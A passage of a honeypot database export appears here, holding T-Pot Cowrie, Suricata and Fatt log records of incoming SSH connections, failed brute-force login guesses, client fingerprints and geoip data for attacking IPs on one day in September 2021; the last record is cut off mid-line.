22177	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:20.770395+03	2021-09-20 14:15:04.594612+03	{"_id": "ZQXiAnwBvYTbRNuEp_26", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1814342012770091, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48124, "dest_port": 22, "timestamp": "2021-09-20T11:06:20.770395Z", "@timestamp": "2021-09-20T11:06:20.770Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22178	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:20.245801+03	2021-09-20 14:15:04.595612+03	{"_id": "bgXiAnwBvYTbRNuEqP3c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4db4e55a9029", "@version": "1", "duration": 2.9338879585266113, "timestamp": "2021-09-20T11:06:20.245801Z", "@timestamp": "2021-09-20T11:06:20.245Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
34788	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:48.885693+03	2021-09-20 15:15:02.368729+03	{"_id": "6wYXA3wBvYTbRNuER1ee", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:48.885693Z", "@timestamp": "2021-09-20T12:03:48.885Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
22180	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:20.930653+03	2021-09-20 14:15:04.598613+03	{"_id": "cQXiAnwBvYTbRNuEqP3c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:20.930653Z", "@timestamp": "2021-09-20T11:06:20.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
22181	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:20.135403+03	2021-09-20 14:15:04.599613+03	{"_id": "dgXiAnwBvYTbRNuEqP3d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [brandon/brandon] failed", "session": "7d1c23bc7452", "@version": "1", "password": "brandon", "username": "brandon", "timestamp": "2021-09-20T11:06:20.135403Z", "@timestamp": "2021-09-20T11:06:20.135Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22182	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:06:20.537406+03	2021-09-20 14:15:04.601614+03	{"_id": "dwXiAnwBvYTbRNuEqP3d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "eeeee70709a2", "@version": "1", "duration": 1.349083423614502, "timestamp": "2021-09-20T11:06:20.537406Z", "@timestamp": "2021-09-20T11:06:20.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22183	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:20.304868+03	2021-09-20 14:15:04.602613+03	{"_id": "ewXiAnwBvYTbRNuEqP3e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:41636 (192.168.176.2:22) [session: 5022bd2f354b]", "session": "5022bd2f354b", "@version": "1", "protocol": "ssh", "src_port": 41636, "dest_port": 22, "timestamp": "2021-09-20T11:06:20.304868Z", "@timestamp": "2021-09-20T11:06:20.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22184	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:21.012541+03	2021-09-20 14:15:04.604612+03	{"_id": "eQXiAnwBvYTbRNuEqP3d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [anton/anton] failed", "session": "59e77f02430e", "@version": "1", "password": "anton", "username": "anton", "timestamp": "2021-09-20T11:06:21.012541Z", "@timestamp": "2021-09-20T11:06:21.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22185	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:21.41999+03	2021-09-20 14:15:04.605613+03	{"_id": "kgXiAnwBvYTbRNuErP3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "dad9cdc78955", "@version": "1", "timestamp": "2021-09-20T11:06:21.419990Z", "@timestamp": "2021-09-20T11:06:21.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22186	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:27.168059+03	2021-09-20 14:15:04.606614+03	{"_id": "rQXiAnwBvYTbRNuEw_4X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1942926891569505, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 7233, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.168059Z", "@timestamp": "2021-09-20T11:06:27.168Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22187	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:27.196741+03	2021-09-20 14:15:04.608613+03	{"_id": "rgXiAnwBvYTbRNuEw_4X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1582327879856712, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49766, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.196741Z", "@timestamp": "2021-09-20T11:06:27.196Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22188	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:28.181597+03	2021-09-20 14:15:04.609613+03	{"_id": "6QXiAnwBvYTbRNuExv7_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1571504562344983, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40914, "dest_port": 22, "timestamp": "2021-09-20T11:06:28.181597Z", "@timestamp": "2021-09-20T11:06:28.181Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22189	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:30.988556+03	2021-09-20 14:15:04.610614+03	{"_id": "PwXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:47654 (192.168.176.2:22) [session: 5b61f7f46fd6]", "session": "5b61f7f46fd6", "@version": "1", "protocol": "ssh", "src_port": 47654, "dest_port": 22, "timestamp": "2021-09-20T11:06:30.988556Z", "@timestamp": "2021-09-20T11:06:30.988Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22190	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:30.58402+03	2021-09-20 14:15:04.611613+03	{"_id": "UwXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "18ce36227242", "@version": "1", "duration": 3.6090848445892334, "timestamp": "2021-09-20T11:06:30.584020Z", "@timestamp": "2021-09-20T11:06:30.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22191	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:30.419877+03	2021-09-20 14:15:04.612612+03	{"_id": "SQXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "54501d7af649", "@version": "1", "duration": 2.5148324966430664, "timestamp": "2021-09-20T11:06:30.419877Z", "@timestamp": "2021-09-20T11:06:30.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22192	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:30.718954+03	2021-09-20 14:15:04.614612+03	{"_id": "RAXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7381, "dest_port": 22, "timestamp": "2021-09-20T11:06:30.718954", "@timestamp": "2021-09-20T11:06:30.718Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22193	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:32.025416+03	2021-09-20 14:15:04.615612+03	{"_id": "dAXiAnwBvYTbRNuE0_-o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "882fee0caf1d", "@version": "1", "duration": 2.55739688873291, "timestamp": "2021-09-20T11:06:32.025416Z", "@timestamp": "2021-09-20T11:06:32.025Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22194	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:15.538703+03	2021-09-20 14:15:04.616613+03	{"_id": "WQXiAnwBvYTbRNuElfxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8dd3642a323b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:15.538703Z", "@timestamp": "2021-09-20T11:06:15.538Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": 